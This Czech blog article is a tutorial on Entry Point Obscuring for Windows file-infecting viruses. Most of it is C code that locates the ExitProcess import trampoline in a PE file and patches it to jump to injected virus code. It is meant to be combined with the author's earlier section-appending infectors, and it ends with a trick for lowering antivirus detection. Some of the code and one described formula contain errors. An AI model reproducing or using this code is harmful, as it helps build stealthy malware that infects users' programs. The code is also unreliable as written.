Entry Point Obscuring (EPO) 1.

Pojmem Entry Point Obscuring je označována skupina virových technik, jejímž cílem je, jak název napovídá, skrýt skutečné místo, kde dochází ke spuštění virového těla. Obecně řečeno: Vir může převzít kontrolu nad vykonáváním kódu kdykoliv během běhu infikované aplikace. V praxi to znamená, že je takový kód mnohem hůře detekovatelný, než je tomu u klasických infektorů.

Úvod
Mezi nejznámnější EPO techniky patří:
– modifikace kódu na adrese entry pointu
– modifikace kódu v libovolném místě aplikace
– modifikace trampolíny IATu
– modifikace kódu volání funkce

Klasický infektor, v závislosti na typu, si většinou zajišťuje své spuštění:
– tím, že přepíše tzv. vstupní bod aplikace (AddressOfEntryPoint ve struktuře IMAGE_OPTIONAL_HEADER).

Tato technika je velice jednoduchá a prakticky první, kterou lidé se zájmem o malware zkouší. Avšak snadno detekovatelná. Detekce takového infikovaného souboru se provádí kontrolou, kam ukazuje AddressOfEntryPoint ze struktury IMAGE_OPTIONAL_HEADER. Pokud ukazuje do poslední sekce – lépe řečeno, mimo sekci kódu – (viry fungující jako last section appender nebo last section expander), pak je pravděpodobně soubor infikován nebo je tzv. zapackován pomocí packeru a je minimálně označen jako suspicious/podezřelý.

Obecný popis EPO technik
Technika modifikace kódu na adrese entry pointu aplikace je velmi triviální za předpokladu, že autor použije minimálně engine, který zajistí, že kód zkopíruje přesně daný počet bajtů tak, aby nepoškodil kód a nezměnil jeho význam. Kód na adrese EP je změněn na skok na tělo infektoru, čímž se zajistí jeho vykonávání hned po startu aplikace. Přepsaný kód však musí být zkopírován na bezpečné místo a po ukončení vykonávání těla infektoru musí být před odskokem na legitimní kód vykonán.

Technika změnou kódu v libovolném místě aplikace je z pohledu realizace podstatně těžší, než je tomu u IAT trampolíny. Hlavním viníkem je výše zmíněná potřeba dokázat správně přečíst kód/délku instrukcí assembleru tak, aby nedošlo k porušení struktury kódu aplikace. To předpokládá, že součástí kódu je rovněž disassembler (program převádějící binární data zpět do čitelné podoby assembleru) minimálně schopný vrátit délky jednotlivých instrukcí. Dále musí takový kód obsahovat také rozhodovací část, jenž určí nejzasší místo, kde je ještě možné převzít řízení vykonávání. Není vhodné řízení přebírat v místech, která budou dosažitelná pouze sporadicky nebo vůbec. Klasickým příkladěm jsou různé kontroly, zda funkce skončila úspěchem či neúspěchem. Pokud by došlo k převzetí kontroly v negativní větvi podmínky, může se stát, že kód nikdy nepřevezme kontrolu nad vykonáváním. Proto se rozhodovací část aplikace soustředí na kontrolu odskoků a nejzazší místo, kde bude chtít převzít řízení, bude před prvním podmíněným skokem (což může být paradoxně prakticky na začátku kódu aplikace).

Technika modifikace trampolíny IAT i technika kódu volání funkce jsou postaveny na myšlence, že každá importovaná funkce uložená v tabulace IAT je odkazována přes trampolínu. Tato trampolína funguje jako prostředník mezi aplikací a zavaděčem/loaderem. Aby loader nemusel procházet celý kód a upravovat kód pro každé volání importované funkce (tabulka IAT se plní až během zavádění do systému pomocí samotného loaderu), existuje v kódu místo zvané trampolína, kam odkazují všechna volání importovaných funkcí. Pokud tedy voláme například funkci MessageBoxA, není v samotném volání přímo adresa funkce MessageBoxA v knihovně user32.dll, ale pouze adresa trampolíny, kde je teprve skok na funkci v dané knihovně (adresa je načtena do IATu pomocí systémového loaderu). Praktická ukázka může vypadat následovně:

Jak píšeme kód my

push 0
call ExitProcess

Jak je uložen v PE souboru

push 0
call adresa_trampoliny_ExitProcess
...
...
...
adresa_trampoliny_ExitProcess:
jmp dword ptr [adresa_funkce_ExitProcess_uložená_v_IATu]

Pokud tedy víme, kde se nachází adresa trampolíny pro danou funkci (což víme), máme dvě možnosti: Buď můžeme přepsat přímo adresu v trampolíně na adresu našeho kódu nebo můžeme prohledat celou sekci kódu a podívat se, kde všude je tato funkce volána a tato místa následně přepíšeme voláním naší funkce, čímž zajistíme, že místo inkriminované funkce dojde ke spuštění té naší. Aby nedošlo k chybě, musíme zpracovat volání původní funkce na konci naší funkce a vrátit výsledek aplikaci.

Proto je nejvhodnější zvolit takové funkce, které se hojně vyskytují ve většině aplikací a zároveň není potřeba brát ohled na jejich zpracování nebo návratovou hodnotu (nevrací například žádnou hodnotu). Každého asi jako první napadnou funkce ExitProcess (kernel32.dll), exit, _exit (oba msvcrt.dll), případně další jako _cexit nebo _c_exit.

Při zneužití těchto funkcí dojde ke spuštění kódu vždy až při ukončování činnosti aplikace. To může být na jedné straně problém (infikovaná aplikace se běžně neukončuje a může běžet řádově měsíce/roky bez zastavení), na straně druhé se však jedná o skvělé krytí (dokud není funkce volána, kód je ‚mrtvý‘).

Teoretický přístup
V tomto díle článku si ukážeme techniku přepsání IATu. Pro někoho může být složitější než technika přepsání CALLu v kódu, ale principielně se jedná o totožný kód s menším rozšířením. Abychom dokázali implementovat tuto EPO techniku, musíme nejprve najít Import Address Table (IAT). V IATu jsou drženy informace o všech importovaných funkcí z různých modulů, a tedy potenciálně i té námi vybrané. Musíme ověřit všechna jména funkcí a modulů, ze kterých pochází, dokud nenajdeme naši cílovou funkci. Pokud ji najdeme, budeme znát i danou adresu, na které bude adresa reálné funkce uložena. Pokud se následně pokusíme najít v sekci kódu všechna místa, kde je tato adresa použita, a navíc před ní bude dvojice opkódů 0xff25 (opkód pro JMP DWORD PTR DS:[addr]), našli jsme trampolínu. Pokud nyní přepíšeme adresu směřující do IATu (adresu v trampolíně) na naši adresu, dojde vždy při volání této funkce ke spuštění našeho kódu. Pro demonstraci využijeme API funkci ExitProcess z knihovny kernel32.dll.

Praktický přístup
V prvním kroku zjistíme adresu IATu. K tomu využijeme pole struktur DataDirectory z datové struktury IMAGE_OPTIONAL_HEADER. Adresa je ve formě relativní virtualní adresy (RVA).

RVA je adresa v paměti po nahrátí binárky pomocí loaderu. Liší se tedy od adresy sekce v souboru, takzvaného offsetu. Je tedy nutné převést adresu RVA na offset. Převod se řeší poměrně jednoduše. Procházíme jednotlivé sekce binárky a kontrolujeme, zda se daná RVA nachází v dané sekci, tedy, zda se nachází v rozsahu IMAGE_SECTION_HEADER.VirtualAddress až IMAGE_SECTION_HEADER.VirtualAddress + IMAGE_SECTION_HEADER.Misc.VirtualSize. Pokud se v daném rozsahu nachází, stačí od RVA odečíst součet IMAGE_SECTION_HEADER.VirtualAddress a IMAGE_SECTION_HEADER.PointerToRawData.

Nyní nám tedy nic nebrání získat adresu struktury IMAGE_IMPORT_DESCRIPTOR následovně: sečteme převedenou adresu RVA na offset s adresou místa, kde je naše binárka načtená v paměti. Třeba následovně:

dwRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
dwRVA = RVA2Offset(pNtHeaders, dwRVA);
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)lpFileMapped + dwRVA);

Nyní musíme projít všechny struktury IMAGE_IMPORT_DESCRIPTOR a hledat tu, která ve svém prvku Name obsahuje řetězec kernel32.dll. Pokud takový záznam najdeme, víme, že se můžeme pustit do hledání funkce ExitProcess. Protože jsou všechny použité adresy opět RVA, platí pro ně stejná pravidla jako výše.

Trampolína funkce kernel32.ExitProcess

Trampolína funkce kernel32.ExitProcess


Trampolína funkce ExitProcess v originálním souboru

while(pImportDesc->Name != 0){
  lpModuleName = (LPVOID)((DWORD)lpFileMapped + 
        RVA2Offset(pNtHeaders, pImportDesc->Name));
  if(pImportDesc->OriginalFirstThunk != 0){
    pThunkData = (PIMAGE_THUNK_DATA)((DWORD)pNtHeaders + 
        RVA2Offet(pNtHeaders, pImportDesc->OriginalFirstThunk));
  }else{
    pThunkData = (PIMAGE_THUNK_DATA)((DWORD)pNtHeaders + 
        RVA2Offset(pNtHeaders, pImportDesc->FirstThunk));
  }
 
  if(strcmpi((char *)lpModuleName, "kernel32.dll") == 0){
    //našli jsme kernel32.dll
    break;
  }else{
    //nenašli jsme kernel32.dll
  }
 
  pImportDesc++;
}

Teď přichází nejdůležitější část celého kódu. Nejprve musíme projít všechny importované funkce z knihovny kernel32.dll, které aplikace používá a hledat funkci ExitProcess. Pokud ji najdeme, můžeme se pustit do hledání trampolíny. Trampolína začína opkódy 0FFh a 025h. Jak bylo uvedeno výše, jedná se o skok ‚jmp dword ptr [adresa]‘. Pokud tedy najdeme sekvenci FF 25 , našli jsme námi hledanou trampolínu. Změníme tento kód na přímý skok na náš kód, tedy jmp . Instrukce jmp nepoužívá přímou adresu, ale relativní pozici vzhledem k adrese, na kterou odskakuje. Zjednodušený příklad: Pokud je tedy adresa infektoru 400 a adresa trampolíny pro funkci ExitProcess 100, pak jmp bude mít hodnotu 300 (400 – 100 = 300). Aby toho nebylo málo, je třeba od výsledné hodnoty ještě odečíst hodnotu 5, což instrukce, takže reálně bude instrukce jmp 295 (300 – 5 = 295).

Import Address Table

Import Address Table


Import Address Table v originálním souboru

while(pThunkData->u1.AddressOfData != 0){
  if((pThunkData->u1.Function & IMAGE_ORDINAL_FLAG32) != 0x80000000){
    szFunctionName = (PCHAR)((DWORD)lpFileMapped + 
        RVA2Offset(pNtHeaders, (DWORD)pThunkData->u1.AddressOfData) + 
        2);
 
    if(strcmp(szFunctionName, "ExitProcess") == 0){
      pStart = (PCHAR)pNtHeaders;
 
      while(!IsBadReadPtr(pStart + j, 2)){
        if(*(pStart + j) == '\xff' && *(pStart + j + 1) == '\x25'){
          if(*((PDWORD)((DWORD)pStart + j + 2)) == 
             pNtHeaders->OptionalHeader.ImageBase + 
             pImportDesc->FirstThunk + ((k + 1) * 4)){
               dwRet = (pNtHeaders->OptionalHeader.ImageBase + 
                   (DWORD)pImportDesc->FirstThunk + 
                   ((k + 1) * 4));
               *(pStart + j) = '\xE9';
               *((PDWORD)(pStart + j + 1)) = dwNewAddr - (OffsetToRVA(pNtHeaders, ((DWORD)(pStart + j) - (DWORD)lpFileMapped)) + pNtHeaders->OptionalHeader.ImageBase) - 5;
          }
        }
 
        j++;
      }
 
      break;
    }
  }
 
  k++;
  pThunkData++;
}

Nyní máme celý kód a můžeme z něj vytvořit funkci. Tu následně můžeme použít například v některém z předchozích výtvorů (Last Section Appender nebo Last Section Expander). Funkce může vypadat třeba následovně:

Upravená trampolína funkce ExitProcess

Upravená trampolína funkce ExitProcess


Přepsaná trampolína funkce ExitProcess nyní směřuje do nové sekce

DWORD FindAndChangeExitProcessAddr(LPVOID lpFileMapped, PIMAGE_NT_HEADERS pNtHeaders, DWORD dwNewAddr){
  DWORD dwRet = 0;
  PIMAGE_IMPORT_DESCRIPTOR pImportDesc = NULL;
  DWORD dwRVA = 0;
  LPVOID lpModuleName = NULL;
  PIMAGE_THUNK_DATA pThunkData = NULL;
  PIMAGE_IMPORT_BY_NAME pImportByName = NULL;
  PCHAR szFunctionName = NULL;
  int i = 0, j= 0, k = 0, index = 0;
  PCHAR pStart = NULL;
 
  dwRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
  dwRVA = RVA2Offset(pNtHeaders, dwRVA);
  pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)lpFileMapped + dwRVA);
 
  while(pImportDesc->Name != 0){
    lpModuleName = (LPVOID)((DWORD)lpFileMapped + 
        RVA2Offset(pNtHeaders, pImportDesc->Name));
    if(pImportDesc->OriginalFirstThunk != 0){
      pThunkData = (PIMAGE_THUNK_DATA)((DWORD)pNtHeaders + 
          RVA2Offset(pNtHeaders, pImportDesc->OriginalFirstThunk));
	}else{
      pThunkData = (PIMAGE_THUNK_DATA)((DWORD)pNtHeaders + 
          RVA2Offset(pNtHeaders, pImportDesc->FirstThunk));
    }
 
    if(strcmpi((char *)lpModuleName, "kernel32.dll") == 0){
      while(pThunkData->u1.AddressOfData != 0){
        if((pThunkData->u1.Function & IMAGE_ORDINAL_FLAG32) != 0x80000000){
          szFunctionName = (PCHAR)((DWORD)lpFileMapped + 
              RVA2Offset(pNtHeaders, (DWORD)pThunkData->u1.AddressOfData) + 
              2);
 
          if(strcmp(szFunctionName, "ExitProcess") == 0){
            pStart = (PCHAR)pNtHeaders;
 
            while(!IsBadReadPtr(pStart + j, 2)){
              if(*(pStart + j) == '\xff' && *(pStart + j + 1) == '\x25'){
                if(*((PDWORD)((DWORD)pStart + j + 2)) == pNtHeaders->OptionalHeader.ImageBase + pImportDesc->FirstThunk + ((k + 1) * 4)){
                  dwRet = (pNtHeaders->OptionalHeader.ImageBase + 
                     (DWORD)pImportDesc->FirstThunk + 
                     ((k + 1) * 4));
                  *(pStart + j) = '\xE9';
                  *((PDWORD)(pStart + j + 1)) = dwNewAddr - (OffsetToRVA(pNtHeaders, ((DWORD)(pStart + j) - (DWORD)lpFileMapped)) + pNtHeaders->OptionalHeader.ImageBase) - 5;
                }
              }
 
              j++;
            }
 
            break;
          }
        }
 
        k++;
        pThunkData++;
      }
    }
 
    pImportDesc++;
  }
 
  return dwRet;
}

Pro doplnění přikládám rovněž funkci pro převod Offsetu na RVA.

Volání funkce pozměněné trampolíny

Volání funkce pozměněné trampolíny


Volání funkce ExitProcess bylo pozměněno díky úpravě trampolíny na volání kódu v nové sekci

DWORD OffsetToRVA(PIMAGE_NT_HEADERS pNtHeaders, DWORD offset){
  int i = 0;
  int count = pNtHeaders->FileHeader.NumberOfSections;
  PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
 
  for(i = 0; i < count; i++)
    if((offset >= (pSectionHeader + i)->PointerToRawData) && 
        (offset <= (pSectionHeader + i)->PointerToRawData + (pSectionHeader + i)->SizeOfRawData)){
      return offset + (pSectionHeader + i)->VirtualAddress - (pSectionHeader + i)->PointerToRawData;
    }
 
    return 0;
}

Tato technika je dobře detekovatelná jen do určité míry. Kontrola je postavena na procházení kódu a hledání míst, kde je daná funkce použita. Pokud takové místo v kódu nalezeno není, je binárka označena jako podezřelá (v IAT se nachází záznam/adresa funkce, která není v kódu ani jednou použita). Co se asi stane, pokud přejmenujeme jméno funkce v tabulce na jednu z těch, které jsou v tabulce rovněž přítomny a korespondují se stejnou DLL knihovnou? 🙂 Světe div se, míra detekce se sníží 🙂

Napsat komentář

Vaše emailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *